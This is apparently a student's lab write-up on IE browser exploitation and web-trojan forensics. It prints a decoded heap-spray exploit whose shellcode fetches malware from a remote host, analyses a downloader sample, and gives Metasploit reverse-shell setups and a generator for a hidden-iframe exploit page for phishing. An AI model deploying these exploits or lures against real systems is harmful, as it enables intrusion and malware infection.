45\165\70\142\141\144\45\165\60\70\64\60\45\165\144\70\70\142\45\165\67\63\70\142\45\165\70\142\63\143\45\165\61\145\67\64\45\165\60\63\67\70\42\40\53\15\12\42\45\165\70\142\146\63\45\165\62\60\67\145\45\165\146\142\60\63\45\165\64\145\70\142\45\165\63\63\61\64\45\165\65\66\145\144\45\165\65\61\65\67\45\165\63\146\70\142\42\40\53\15\12\42\45\165\146\142\60\63\45\165\146\62\70\142\45\165\60\145\66\141\45\165\146\63\65\71\45\165\67\64\141\66\45\165\65\71\60\70\45\165\70\63\65\146\45\165\60\64\143\67\42\40\53\15\12\42\45\165\145\62\64\65\45\165\65\71\145\71\45\165\65\145\65\146\45\165\143\144\70\142\45\165\64\66\70\142\45\165\60\63\62\64\45\165\144\61\143\63\45\165\60\63\145\61\42\40\53\15\12\42\45\165\63\63\143\61\45\165\66\66\143\71\45\165\60\70\70\142\45\165\64\66\70\142\45\165\60\63\61\143\45\165\143\61\143\63\45\165\60\62\145\61\45\165\143\61\60\63\42\40\53\15\12\42\45\165\60\60\70\142\45\165\143\63\60\63\45\165\146\141\70\142\45\165\146\67\70\142\45\165\143\66\70\63\45\165\70\142\60\145\45\165\66\141\144\60\45\165\65\71\60\64\42\40\53\15\12\42\45\165\66\141\145\70\45\165\60\60\60\60\45\165\70\63\60\60\45\165\60\144\143\66\45\165\65\66\65\62\45\165\65\67\146\146\45\165\65\141\146\143\45\165\144\70\70\142\42\40\53\15\12\42\45\165\60\61\66\141\45\165\145\70\65\71\45\165\60\60\65\67\45\165\60\60\60\60\45\165\143\66\70\63\45\165\65\66\61\63\45\165\70\60\64\66\45\165\70\60\63\145\42\40\53\15\12\42\45\165\146\141\67\65\45\165\63\66\70\60\45\165\65\145\70\60\45\165\145\143\70\63\45\165\70\142\64\60\45\165\143\67\144\143\45\165\66\63\60\63\45\165\66\64\66\144\42\40\53\15\12\42\45\165\64\63\62\60\45\165\64\63\64\63\45\165\66\66\64\63\45\165\60\63\143\67\45\165\66\63\62\146\45\165\64\63\64\63\45\165\60\63\143\66\45\165\64\63\62\60\42\40\53\15\12\42\45\165\62\60\66\141\45\165\146\146\65\63\45\165\145\143\65\67\45\165\60\64\143\67\45\165\65\143\60\63\45\165\62\145\66\61\45\165\143\67\66\65\45\165\60\63\64\64\42\40\53\15\12\42\45\165\67\70\60\64\45\165\60\60\66\65\45\165\63\63\60\60\45\165\65\60\143\60\45\165\65\63\65\60\45\165\65\60\65\66\45\165\65\67\146\146\45\165\70\142\146\143\42\40\53\15\12\42\45\165\66\141\144\143\45\165\65\63\60\60\45\165\65\67\146\146\45\165\66\70\146\60\45\165\62\64\65\61\45\165\60\60\64\60\45\165\146\146\65\70\45\165\63\63\144\60\42\40\53\15\12\42\45\165\141\143\143\60\45\165\143\60\70\65\45\165\146\71\67\65\45\165\65\62\65\61\45\165\65\63\65\66\45\165\144\62\146\146\45\165\65\71\65\141\45\165\145\62\141\142\42\40\53\15\12\42\45\165\63\63\145\145\45\165\143\63\143\60\45\165\60\143\145\70\45\165\146\146\146\146\45\165\64\67\146\146\45\165\67\64\66\65\45\165\67\62\65\60\45\165\66\63\66\146\42\40\53\15\12\42\45\165\66\64\64\61\45\165\67\62\66\64\45\165\67\63\66\65\45\165\60\60\67\63\45\165\66\65\64\67\45\165\65\63\67\64\45\165\67\63\67\71\45\165\66\65\67\64\42\40\53\15\12\42\45\165\64\64\66\144\45\165\67\62\66\71\45\165\66\63\66\65\45\165\66\146\67\64\45\165\67\71\67\62\45\165\60\60\64\61\45\165\66\71\65\67\45\165\64\65\66\145\42\40\53\15\12\42\45\165\66\65\67\70\45\165\60\60\66\63\45\165\67\70\64\65\45\165\67\64\66\71\45\165\66\70\65\64\45\165\66\65\67\62\45\165\66\64\66\61\45\165\64\143\60\60\42\40\53\15\12\42\45\165\66\61\66\146\45\165\64\143\66\64\45\165\66\62\66\71\45\165\66\61\67\62\45\165\67\71\67\62\45\165\60\60\64\61\45\165\67\62\67\65\45\165\66\144\66\143\42\40\53\15\12\42\45\165\66\145\66\146\45\165\65\65\60\60\45\165\64\143\65\62\45\165\66\146\64\64\45\165\66\145\67\67\45\165\66\146\66\143\45\165\66\64\66\61\45\165\66\146\65\64\42\40\53\15\12\42\45\165\66\71\64\66\45\165\66\65\66\143\45\165\60\60\64\61\45\165\67\64\66\70\45\165\67\60\67\64\45\165\62\146\63\141\45\165\66\64\62\146\45\165\67\67\66\146\45\165\62\145\66\145\45\165\63\70\63\61\45\165\66\64\66\64\45\165\66\145\62\145\45\165\67\64\66\65\45\165\66\62\62\146\45\165\62\146\66\62\45\165\67\60\67\60\45\165\62\145\67\63\45\165\67\70\66\65\45\165\60\60\66\65\42\51\73\15\12\166\141\162\40\142\151\147\142\154\157\143\153\40\75\40\165\156\145\163\143\141\160\145\50\42\45\165\71\60\71\60\45\165\71\60\71\60\42\51\73\15\12\166\141\162\40\150\145\141\144\145\162\163\151\172\145\40\75\40\62\60\73\15\12\166\141\162\40\163\154\141\143\153\163\160\141\143\145\40\75\40\150\145\141\144\145\162\163\151\172\145\53\163\150\145\154\154\143\157\144\145\56\154\145\156\147\164\150\73\15\12\167\150\151\154\145\40\50\142\151\147\142\154\157\143\153\56\154\145\156\147\164\150\74\163\154\141\143\153\163\160\141\143\145\51\40\142\151\147\142\154\157\143\153\53\75\142\151\147\142\154\157\143\153\73\15\12\146\151\154\154\142\154\157\143\153\40\75\40\142\151\147\142\154\157\143\153\56\163\165\142\163\164\162\151\156\147\50\60\54\40\163\154\141\143\153\163\160\141\143\145\51\73\15\12\142\154\157\143\153\40\75\40\142\151\147\142\154\157\143\153\56\163\165\142\163\164\162\151\156\147\50\60\54\40\142\151\147\142\154\157\143\153\56\154\145\156\147\164\150\55\163\154\141\143\153\163\160\141\143\145\51\73\15\12\167\150\151\154\145\50\142\154\157\143\153\56\154\145\156\147\164\150\53\163\154\141\143\153\163\160\141\143\145\74\60\170\64\60\60\60\60\51\40\142\154\157\143\153\40\75\40\142\154\157\143\153\53\142\154\157\143\153\53\146\151\154\154\142\154\157\143\153\73\15\12\155\145\155\157\162\171\40\75\40\156\145\167\40\101\162\162\141\171\50\51\73\15\12\146\157\162\40\50\170\75\60\73\40\170\74\64\60\60\73\40\170\53\53\51\40\155\145\155\157\162\171\133\170\135\40\75\40\142\154\157\143\153\40\53\40\163\150\145\154\154\143\157\144\145\73\15\12\166\141\162\40\142\165\146\146\145\162\40\75\40\47\47\73\15\12\167\150\151\154\145\40\50\142\165\146\146\145\162\56\154\145\156\147\164\150\40\74\40\65\60\60\51\40\142\165\146\146\145\162\53\75\42\134\170\60\141\134\170\60\141\134\170\60\141\134\170\60\141\42\73\15\12\160\160\163\56\114\157\147\157\40\75\40\142\165\146\146\145\162\15\12")

最终得到:
image

点击查看代码
/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u*/
pps = document.createElement('object');
pps.setAttribute('classid', 'clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458');
var shellcode = unescape('%uf3e9%u0000' + '%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c' + '%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378' + '%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b' + '%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7' + '%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1' + '%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103' + '%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904' + '%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b' + '%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e' + '%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d' + '%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320' + '%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344' + '%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc' + '%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0' + '%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab' + '%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f' + '%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574' + '%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e' + '%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00' + '%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c' + '%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54' + '%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u7070%u2e73%u7865%u0065');
var bigblock = unescape('%u9090%u9090');
var headersize = 20;
var slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace)
	bigblock += bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length - slackspace);
while (block.length + slackspace < 262144)
	block = block + block + fillblock;
memory = new Array();
for (x = 0; x < 400; x++)
	memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 500)
	buffer += '\n\n\n\n';
pps.Logo = buffer;
① 创建 ActiveX 对象
pps = document.createElement('object');
pps.setAttribute('classid', 'clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458');

该 CLSID 对应一个已知的 IE 漏洞组件(可能是 CVE-2012-4969 或类似),通过给 Logo 属性赋值过长的字符串触发缓冲区溢出。

② Shellcode 构造
shellcode 变量通过 unescape() 解码大量 %uXXXX 格式的 Unicode 字符串得到。
这些字节码实际上是 机器指令(x86 shellcode),其功能包括:

  • 动态获取 API 地址(kernel32.dll, urlmon.dll 等)
  • 调用 URLDownloadToFileA 或类似函数从远程服务器下载文件
  • 调用 WinExec 或 ShellExecute 执行下载的文件
    ③ 下载地址
    从 shellcode 末尾的 Unicode 字符串可以提取出 URL:
    %u6874%u7074%u3a2f%u2f64%u776f%u2e6e%u3831%u6464%u2e6e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000
    解码后为:http://down.18dd.net/bb/bf.exe
    ⑤ 堆喷射(Heap Spray)
  • 构造大量 bigblock 和 block,填充内存中的 %u9090(NOP 滑梯)
  • 将 shellcode 附着在每一块内存后
  • 通过 new Array() 创建 400 个元素,使内存布局可预测,提高漏洞触发后跳转到 shellcode 的概率
    ⑥ 触发漏洞
    pps.Logo = buffer; 将超长字符串(500+ 个换行)赋值给 Logo 属性,触发 ActiveX 控件的缓冲区溢出,使 EIP 跳转到堆中的 NOP 滑梯,最终执行 shellcode

4)最后是文件bd.cab
image
对 bd.cab 进行解压后得到 bd.exe。至此,攻击链中最终涉及的可执行文件包括:

  • 014.exe
  • bf.exe
  • pps.exe
  • bd.exe
    这些文件在资源管理器中显示大小相同。进一步计算文件内容 MD5 后发现,多个落地文件内容完全相同,说明不同二阶段脚本虽然使用了不同下载地址,但最终投递的可能是同一个木马样本。这样后续静态分析可以选择其中一个样本进行,避免重复分析。
    image
    md5(http://down.18dd.net/bb/014.exe) = ca4e4a1730b0f69a9b94393d9443b979

image
md5(http://down.18dd.net/bb/bf.exe) = 268cbd59fbed235f6cf6b41b92b03f8e

image
md5(http://down.18dd.net/bb/pps.exe) = ff59b3b8961f502289c1b4df8c37e2a4

image

文件 URL / 文件名 URL 字符串 MD5 或来源 样本内容 MD5 分析结论
http://down.18dd.net/bb/014.exe ca4e4a1730b0f69a9b94393d9443b979 1290ecd734d68d52318ea9016dc6fe63 与其他 EXE 内容一致
http://down.18dd.net/bb/bf.exe 268cbd59fbed235f6cf6b41b92b03f8e 1290ecd734d68d52318ea9016dc6fe63 与其他 EXE 内容一致
http://down.18dd.net/bb/pps.exe ff59b3b8961f502289c1b4df8c37e2a4 1290ecd734d68d52318ea9016dc6fe63 与其他 EXE 内容一致
bd.exe(由 bd.cab 解压得到) 来源:bd.cab 1290ecd734d68d52318ea9016dc6fe63 与其他 EXE 内容一致

后续选择 pps.exe 作为代表样本进行静态分析。

2.2.5 重复以上过程直到这些文件被全部分析完成。

首先使用 WinXP 环境中的超级巡警虚拟机自动脱壳工具对 pps.exe 进行脱壳。工具识别结果显示样本具有 Borland Delphi 相关特征。脱壳后使用 IDA 对文件进行静态分析,重点查看字符串、函数调用、注册表操作、文件操作和网络下载地址
image
image
image
image

详细分析和结论:
1、基础信息与开发语言
(1)开发语言:Delphi(Borland Delphi)
程序中出现了 SOFTWARE\Borland\Delphi\RTL 字符串,说明它是使用Delphi开发的,依赖Delphi运行时库(RTL)。Delphi编写的程序在早期恶意软件(木马、病毒、下载器)中非常常见,编译后的程序体积小、易混淆。
(2)文件名:pps.exe
这是程序的原始文件名,可能是伪装成“pps”(视频软件)的恶意程序,属于常见的伪装手段。

2、核心恶意行为分析
(1)恶意软件下载器(Downloader)
程序包含大量连续的下载地址:
http://down.18dd.net/kl/0.exehttp://down.18dd.net/kl/19.exe(共20个文件)。

  • 行为特征:这是典型的“下载器”行为——程序运行后,会自动从该恶意服务器下载多个后续payload(可执行文件),这些文件通常是木马、挖矿程序、远控工具或其他恶意组件,形成“下载器+多阶段攻击”的恶意链。
  • 风险等级:极高,后续下载的恶意程序可能会窃取数据、控制设备或进行勒索。

(2)系统持久化与传播
程序包含大量与AutoRun(自动运行)相关的注册表字符串:

  • [AutoRun]\nopen=shell\Auto\command=:用于修改U盘/磁盘的自动运行配置,实现U盘传播(插入其他电脑时自动运行)。
  • Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDriveTypeAutoRun:修改该注册表项的目的是禁用系统的自动运行限制,让AutoRun功能生效,确保恶意程序能在其他设备上自动启动。
  • 这类操作是恶意软件实现“跨设备传播”和“开机自启”的经典手段。

(3)进程注入与内存操作
程序包含多个Windows底层API字符串,指向进程注入和内存篡改行为:

  • VirtualAllocEx:在其他进程中分配内存(进程注入的核心步骤,用于注入代码到目标进程)。
  • ZwUnmapViewOfSection:取消内存映射,常用于进程注入或反调试。
  • Kernel32.dllmsvcrt.dll:系统库依赖,说明程序会调用底层系统API,实现对其他进程(如IE、explorer.exe)的注入。
  • 目的:将恶意代码注入到正常进程中运行,隐藏自身行为,绕过杀毒软件的检测。

(4)系统时间篡改
程序包含命令:cmd /c date 1981-01-12,即修改系统时间为1981年1月12日。

  • 这是恶意软件的常见行为,目的是:
    ① 绕过基于时间的安全验证(如软件证书的时间有效性、杀毒软件的时间戳检测)。
    ② 干扰依赖系统时间的安全工具(如日志记录、防病毒软件的更新时间校验)。

(5)内核驱动操作
程序包含字符串 drivers\klif.sys,说明它可能加载内核驱动文件:

  • 这类驱动通常用于:
    • 隐藏自身进程、文件(rootkit行为,防止被任务管理器或资源管理器发现)。
    • 提升权限,绕过系统安全机制(如UAC、内核保护)。
    • 进行底层系统操作(如修改内核数据结构、拦截系统调用)。

(6)服务控制与系统配置
程序包含服务操作相关的API字符串:
QueryServiceConfig2A/WChangeServiceConfig2A/W

  • 这些API用于查询和修改Windows系统服务的配置,说明程序可能会:
    • 创建恶意服务,实现开机自启。
    • 修改现有服务的启动方式,确保恶意程序持续运行。
      (7)浏览器相关操作
      程序中出现了 \program files\internet explorer\IEXPLORE.EXE(IE浏览器路径)和 IE执行保护 字符串:
  • 结合进程注入的API,程序可能会:
  • 注入IE浏览器进程,利用IE的网络权限访问恶意服务器(绕过防火墙限制)。
  • 绕过IE的安全保护机制,执行恶意代码或窃取浏览器数据。
    3、其他可疑特征
  • GUI伪装:程序包含对话框相关字符串(#32770Button确定允许),说明它可能有伪装的图形界面,诱骗用户点击“允许”按钮,执行恶意操作(如获取权限、绕过UAC)。
  • 混淆/加密字符串:出现了乱码字符(如“领壬紫韧污到偶在挌喰”“溴黹”),可能是被错误编码的中文字符,或是经过加密/混淆的恶意字符串,用于反分析。
  • 运行时错误信息:包含 Runtime error at 00000000 等Delphi运行时错误提示,可能是程序自带的调试信息,或是用来迷惑分析者的干扰内容。

4、最终结论
pps.exe 是一个高风险的恶意软件下载器,具备以下核心能力:

  • 自动下载多个后续恶意程序,形成多阶段攻击链;
  • 通过修改注册表和AutoRun配置实现持久化和传播;
  • 利用进程注入隐藏自身行为,绕过安全软件;
  • 篡改系统时间、加载内核驱动,实现底层系统控制。

2.3 攻防对抗实践—web浏览器渗透攻击攻防

攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。
防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。

2.3.1 攻防双方环境

攻击方kali:192.168.199.130
image
防守方:IP地址为192.168.199.6
image
攻击方 Kali 负责运行 Metasploit 模块和 Web 入口页面,靶机 Windows 2000 负责使用 IE 访问诱导 URL。

2.3.2 单独验证第一个漏洞:MS06-055

为避免统一入口页调试时难以区分问题来源,先单独验证 MS06-055 漏洞利用 URL。启动 Metasploit 并清理旧任务:

msfconsole -q
jobs -K
sessions -K

image

配置 MS06-055 模块:

1.启动
use exploit/windows/browser/ms06_055_vml_method
set payload windows/shell/reverse_tcp

2. 关键配置:
set SRVHOST 0.0.0.0        # 监听所有网卡,保持不变
set SRVPORT 8081            # 监听端口,保持不变
set URIPATH /ms06055        # 漏洞路径,保持不变
set LHOST 192.168.199.130  # 必须填Kali自己的IP
set LPORT 4455              # Kali监听的端口,保持不变
set ExitOnSession false
set VERBOSE true

image

  1. 检查配置是否正确
    show options
    image

4.运行
run -j
image

此时第一个恶意 URL 为http://192.168.199.130:8081/ms06055
在 Win2000 IE 中访问该 URL。若触发成功,Metasploit 会显示类似 Command shell session opened 的提示。进入 session 后执行命令验证:
image

在 Win2000 IE 中访问该 URL。若触发成功,Metasploit 会显示类似 Command shell session opened 的提示。进入 session 后执行命令验证:

sessions -l
sessions -i 1
ver
ipconfig

image

该步骤用于确认 MS06-055 URL 本身可独立触发,后续统一入口页只负责隐藏加载和混淆封装。

2.3.3 单独验证第二个漏洞:MS06-014

1、为避免 IE 崩溃影响第二个实验,关闭 Win2000 的 IE,必要时重启靶机。随后清理 Metasploit 中旧任务和旧会话。
先执行以下命令清空之前的残留任务和会话,防止端口 / 进程冲突:

# 进入msfconsole后执行
jobs -K  # 杀死所有后台任务
sessions -K  # 关闭所有会话

image

2、MS06-014 完整适配配置

# 1. 加载MS06-014漏洞模块
use exploit/windows/browser/ie_createobject

# 2. 配置漏洞服务端参数(Kali侧)
set SRVHOST 0.0.0.0        # 监听Kali所有网卡,无需修改
set SRVPORT 8082           # 漏洞服务端口,保持8082(和MS06-055的8081区分)
set URIPATH /ms06014       # 漏洞访问路径,保持不变

# 3. 配置反向Shell载荷(核心:适配你的Kali IP)
set payload windows/shell/reverse_tcp
set LHOST 192.168.199.130  # Kali的IP
set LPORT 5544             # 监听端口,保持5544(和MS06-055的4455区分)

# 4. 辅助配置(保证实验连续性)
set ExitOnSession false    # 不退出会话,方便多次测试
set VERBOSE true           # 显示详细日志,便于排查问题

image

  1. 检查配置是否正确
    show options
    image

  2. 后台启动漏洞服务
    run -j
    image

在windows端访问
image

回到kali
image

在 Win2000 IE 中单独访问该 URL。成功后进入对应 session,执行命令验证远程命令执行能力:

sessions -l
sessions -i 2
ver
ipconfig

image

两个漏洞 URL 分别验证后,可以确认它们都可以作为独立漏洞利用页面使用。后续实验重点转为如何将两个 URL 混淆后封装为统一入口,并由防守方还原。

2.3.4 URL 转换为十六进制字符串

攻击方将两个真实漏洞利用地址作为待隐藏目标:
http://192.168.199.130:8081/ms06055
http://192.168.199.130:8082/ms06014
将上述 URL 转换为十六进制字符串

# 端口 8081
python3 -c 'print("http://192.168.199.130:8081/ms06055".encode().hex())'
# 端口 8082
python3 -c 'print("http://192.168.199.130:8082/ms06014".encode().hex())'
得到:
687474703a2f2f3139322e3136382e352e353a383038312f6d733036303535
687474703a2f2f3139322e3136382e352e353a383038322f6d733036303134

image

2.3.5 创建工作目录并生成混淆挂马页面

混淆的目的在于让邮件中只出现统一入口 URL,而不直接暴露真实漏洞路径、端口和模块特征。防守方若只查看邮件正文,很难直接判断页面背后封装了两个浏览器漏洞利用地址。

  1. 进入桌面(或任意目录)
    cd ~/Desktop

  2. 创建 Python 脚本文件 gen_html.py

cat > gen_html.py << 'EOF'
#!/usr/bin/env python3

def hex_encode(s):
    return s.encode().hex()

# 使用你的 Kali 实际 IP
url1 = "http://192.168.199.130:8081/ms06055"
url2 = "http://192.168.199.130:8082/ms06014"
hex1 = hex_encode(url1)
hex2 = hex_encode(url2)

html_template = f'''<!doctype html>
<html>
<head><meta charset="utf-8"><title>浏览器兼容性测试</title></head>
<body>
<h3>浏览器兼容性测试页面</h3>
<p>正在加载实验资源,请稍候...</p>
<script>
function h2s(h) {{
    var s = "";
    for (var i = 0; i < h.length; i += 2) {{
        s += String.fromCharCode(parseInt(h.substr(i, 2), 16));
    }}
    return s;
}}
function loadHiddenFrame(url) {{
    var f = document.createElement("iframe");
    f.src = url;
    f.width = "1";
    f.height = "1";
    f.style.display = "none";
    document.body.appendChild(f);
}}
var u1 = "{hex1}";
var u2 = "{hex2}";
window.onload = function () {{
    loadHiddenFrame(h2s(u1));
    setTimeout(function () {{
        loadHiddenFrame(h2s(u2));
    }}, 5000);
}};
</script>
</body>
</html>'''

with open("20253915fxf.html", "w") as f:
    f.write(html_template)
print("HTML 文件已生成: 20253915fxf.html")
EOF

image

  1. 执行脚本生成 HTML 文件
    python3 gen_html.py

2.3.5 部署到 Apache Web 服务器

1. 创建目标目录
sudo mkdir -p /var/www/html/3915fxf

2. 复制生成的 HTML 文件到 Web 目录
sudo cp 20253915fxf.html /var/www/html/3915fxf/

3. 启动 Apache 服务(如果尚未启动)
sudo systemctl start apache2

4. 设置 Apache 开机自启(可选)
sudo systemctl enable apache2

5. 验证文件是否可访问(在 Kali 本地测试)
curl http://192.168.199.130/3915fxf/20253915fxf.html | head -n 5

image

2.3.6 启动 Metasploit 漏洞利用服务(两个终端分别运行)

终端 A:MS06‑055 (VML 漏洞) – 端口 8081
sudo msfconsole -q
在 msf 控制台中依次输入:

use exploit/windows/browser/ms06_055_vml_method
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.199.130
set SRVHOST 0.0.0.0
set SRVPORT 8081
set URIPATH /ms06055
run -j

image

终端 B:MS06‑014 (MDAC 漏洞) – 端口 8082
sudo msfconsole -q
在 msf 控制台中依次输入:

use exploit/windows/browser/ie_createobject
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.199.130
set SRVHOST 0.0.0.0
set SRVPORT 8082
set URIPATH /ms06014
set LPORT 4445
run -j

image

两个漏洞服务必须同时运行,且端口不能冲突。请保持这两个终端不要关闭。

检查端口监听状态(新终端)
sudo netstat -tulnp | grep -E '8081|8082'
应显示 msfconsole 正在监听 0.0.0.0:8081 和 0.0.0.0:8082。
image

发送欺骗性钓鱼邮件

2.3.7 验证攻击(防守方操作)

防守方在 Windows 靶机(IP: 192.168.199.6)上打开 Internet Explorer 6(未打补丁版本),访问邮件中的链接:
http://192.168.199.130/3915fxf/20253915fxf.html
页面会显示“正在加载实验资源…”,并静默加载两个隐藏的 iframe。若靶机存在相应漏洞,Metasploit 将获得反弹会话。
image

在 Kali 的 msfconsole 中查看会话:
sessions -i
如果看到会话,说明攻击成功。
image
image

防守方
1、挂马入口页面分析
提取挂马链接,查看源码
image

观察HTML中的JavaScript,发现以下关键点:
定义了一个函数 h2s(h),其功能是将十六进制字符串转换为普通字符串。
定义了两个变量 u1 和 u2,它们的值是十六进制字符串。
window.onload 中通过 loadHiddenFrame 加载两个隐藏的iframe,分别使用 h2s(u1) 和 h2s(u2) 作为URL。
image

2、漏洞1:MS06-055(VML 栈溢出漏洞)
下载/ms06055 页面

curl http://192.168.199.130:8081/ms06055 -o ms06055.html
cat ms06055.html

image

观察可知

项目 内容
访问路径 /ms06055
页面特征 包含大量 <v:rect>、<v:fill> 等 VML 标签;JavaScript 构造超长 VML 属性值。
触发方式 畸形 VML 数据导致 vgx.dll 中的栈缓冲区溢出,覆盖返回地址,跳转到 shellcode。
影响组件 VML 处理组件 vgx.dll
影响软件 Internet Explorer 6.0 SP1 及未安装补丁 KB920670 的版本。
CVE 编号 CVE-2006-4868
微软公告 MS06-055

3、漏洞2:MS06-014(MDAC ActiveX 控件漏洞)
下载 /ms06014 页面:
curl http://192.168.199.130:8082/ms06014 -o ms06014.html
cat ms06014.html

分析可知:

项目 内容
访问路径 /ms06014
页面特征 JavaScript 中包含 new ActiveXObject("ADODB.Stream")、new ActiveXObject("Microsoft.XMLHTTP") 等代码,调用 CreateObject 并设置特定属性。
触发方式 未正确初始化的 RDS.DataControl ActiveX 控件,导致可执行任意代码。
影响组件 Microsoft Data Access Components (MDAC) 中的 RDS.DataControl
影响软件 Internet Explorer 6.0(以及安装了受影响 MDAC 版本的系统)
CVE 编号 CVE-2006-0003
微软公告 MS06-014

3.学习中遇到的问题及解决

  • 问题1:Metasploit 启动漏洞模块时出现端口绑定冲突,端口被占用无法监听
  • 问题1解决方案:执行jobs -K关闭所有后台任务,sessions -K关闭所有会话;修改模块监听端口(SRVPORT、LPORT),避免端口重复;用netstat -tulnp查看端口占用,关闭占用程序。
  • 问题2:Apache 服务未启动,混淆 HTML 挂马页面无法访问
  • 问题2解决方案:执行sudo systemctl start apache2启动服务;用sudo systemctl enable apache2设置开机自启;检查 HTML 文件路径是否正确放入/var/www/html目录。

4.实践总结

本次实验完整完成了 Web 浏览器渗透攻击、网页木马取证分析、浏览器渗透攻防对抗三大核心模块,通过 Kali 攻击机与 Windows 靶机的联动实操,掌握了利用 Metasploit 框架构造网页木马、实施 IE 浏览器漏洞渗透攻击的全流程,清晰理解了浏览器渗透从漏洞利用、载荷投递到远程控制的完整攻击链路。实验还实践了恶意网页的分层加载机制、混淆代码解密、恶意样本哈希校验与静态分析,以及双漏洞混淆封装与逆向拆解的攻防对抗方法,全面掌握了浏览器端渗透与取证的核心技术要点。
本次实验直观验证了老旧版本浏览器及第三方 ActiveX 控件的高危漏洞风险,掌握了网页木马的隐藏加载、代码混淆、多路径漏洞利用等典型攻击手段,同时学会了从恶意链接提取、代码解混淆、漏洞识别到恶意样本行为分析的完整取证流程,提升了网络攻击实战与安全防御分析的实操能力,深刻认识到浏览器安全加固与漏洞补丁更新的重要性。

posted @ 2026-05-20 16:44  -;  阅读(122)  评论(0)    收藏  举报